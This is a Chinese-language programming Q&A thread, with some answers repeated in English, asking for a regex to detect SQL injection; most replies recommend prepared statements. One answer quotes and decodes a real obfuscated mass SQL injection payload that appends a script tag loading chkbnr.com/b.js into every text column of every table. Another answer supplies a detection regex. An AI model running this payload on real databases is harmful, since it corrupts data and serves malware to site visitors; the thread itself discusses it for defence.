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用于检测 SQL 注入的正则表达式

发布于 2024-07-06 00:16:41 字数 54 浏览 9 评论 0原文

是否有正则表达式可以检测字符串中的 SQL？有没有人有他们以前使用过的东西的样本可以分享？

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毁虫ゝ 2024-07-13 00:16:41

不要这样做。你几乎肯定会失败。请改用 PreparedStatement （或其等效项）。

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青柠芒果 2024-07-13 00:16:41

使用存储过程或准备好的语句。您将如何检测到这样的事情？

顺便说一句，不要运行这个：

   DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415 245204054205641524348415228323535292C40432056415243
   4841522832353529204445434C415245205461626C655 F437572736F7220435552534F5220464F522053454C45435420612E6 E616D652C622E6E616D652046524F4D207379736F626A65637473206 12C737973636F6C756D6E73206220574845524520612E69643D622E6 96420414E4420612E78747970653D27752720414E442028622E78747 970653D3939204F5220622E78747970653D3335204F5220622E78747 970653D323331204F5220622E78747970653D31363729204F50454E2 05461626C655F437572736F72204645544348204E4558542046524F4 D205461626C655F437572736F7220494E544F2040542C40432057484 94C4528404046455443485F5354415455533D302920424547494E204 55845432827555044415445205B272B40542B275D20534554205B272 B40432B275D3D525452494D28434F4E5645525428564152434841522 834303030292C5B272B40432B275D29292B27273C736372697074207 372633D687474703A2F2F7777772E63686B626E722E636F6D2F622E6 A733E3C2F7363726970743E27272729204645544348204E455854204 6524F4D205461626C655F437572736F7220494E544F2040542C40432 0454E4420434C4F5345205461626C655F437572736F72204445414C4 C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);

这意味着：

( DECLARE Table_Cursor CURSOR FOR
    SELECT a.name,b.name FROM sysobjects a,syscolumns b 
    WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) 
    OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C 
    WHILE(@@FETCH_STATUS=0) 
    BEGIN EXEC(
      'UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=chkbnr.com/b.js></script>''') 
    FETCH NEXT FROM Table_Cursor INTO @T,@C 
  END 
  CLOSE Table_Cursor 
  DEALLOCATE Table_Cursor )

Use stored procedures or prepared statements. How will you detect something like this?

BTW do NOT run this:

   DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415 245204054205641524348415228323535292C40432056415243
   4841522832353529204445434C415245205461626C655 F437572736F7220435552534F5220464F522053454C45435420612E6 E616D652C622E6E616D652046524F4D207379736F626A65637473206 12C737973636F6C756D6E73206220574845524520612E69643D622E6 96420414E4420612E78747970653D27752720414E442028622E78747 970653D3939204F5220622E78747970653D3335204F5220622E78747 970653D323331204F5220622E78747970653D31363729204F50454E2 05461626C655F437572736F72204645544348204E4558542046524F4 D205461626C655F437572736F7220494E544F2040542C40432057484 94C4528404046455443485F5354415455533D302920424547494E204 55845432827555044415445205B272B40542B275D20534554205B272 B40432B275D3D525452494D28434F4E5645525428564152434841522 834303030292C5B272B40432B275D29292B27273C736372697074207 372633D687474703A2F2F7777772E63686B626E722E636F6D2F622E6 A733E3C2F7363726970743E27272729204645544348204E455854204 6524F4D205461626C655F437572736F7220494E544F2040542C40432 0454E4420434C4F5345205461626C655F437572736F72204445414C4 C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);

Which translates to:

( DECLARE Table_Cursor CURSOR FOR
    SELECT a.name,b.name FROM sysobjects a,syscolumns b 
    WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) 
    OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C 
    WHILE(@@FETCH_STATUS=0) 
    BEGIN EXEC(
      'UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=chkbnr.com/b.js></script>''') 
    FETCH NEXT FROM Table_Cursor INTO @T,@C 
  END 
  CLOSE Table_Cursor 
  DEALLOCATE Table_Cursor )

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海风掠过北极光 2024-07-13 00:16:41

避免出现问题，并将存储过程与准备好的语句或参数化查询一起使用。无论如何，存储过程都是很好的实践，因为它们就像数据库的接口，因此您可以更改幕后（存储过程内）发生的事情，但签名保持不变。准备好的语句有助于处理注入保护。

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简美 2024-07-13 00:16:41

我没有正则表达式，但我的理解是最重要的是检测单引号。所有的注入攻击都是从那里开始的。他们可能也有 -- 来注释掉字符串后面的其他 SQL。

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北座城市 2024-07-13 00:16:41

如前所述，最好使用准备好的语句。您可能会争论强制由存储过程执行关键查询来强制使用准备调用。

无论如何，这里有一个简单的 grep 来检测 where 子句中的经典 n=n 整数；它会跳过标记许多惰性查询构造函数使用的 1=1 AND，但会将其标记为 OR

((WHERE|OR)[ ]+[\(]*[ ]*([\(]*[0-9]+[\)]*)[ ]*=[ ]*[\)]*[ ]*\3)|AND[ ]+[\(]*[ ]*([\(]*1[0-9]+|[2-9][0-9]*[\)]*)[ ]*[\(]*[ ]*=[ ]*[\)]*[ ]*\4

当然可以改进以检测小数和字符串比较，但它是一种快速检测机制，与其他 grep 一样如ORD(MID(等。

在查询日志上使用它，例如mysql的通用日志

希望它有用

As said, it is better to use prepared statements. You could argue forcing key queries to be executed by a stored procedure to force the use of preparing the call.

Anyway, here is a simple grep to detect classic n=n integer in where clauses; it skips flagging the 1=1 used by many lazy query constructors for the AND, but will flag it for the OR

((WHERE|OR)[ ]+[\(]*[ ]*([\(]*[0-9]+[\)]*)[ ]*=[ ]*[\)]*[ ]*\3)|AND[ ]+[\(]*[ ]*([\(]*1[0-9]+|[2-9][0-9]*[\)]*)[ ]*[\(]*[ ]*=[ ]*[\)]*[ ]*\4

It could of course be improved to detect decimal and string comparisons, but it was a quick detection mechanism, along with other greps such as ORD(MID(, etc.

Use it on a query log, such as mysql's general log

Hope its useful

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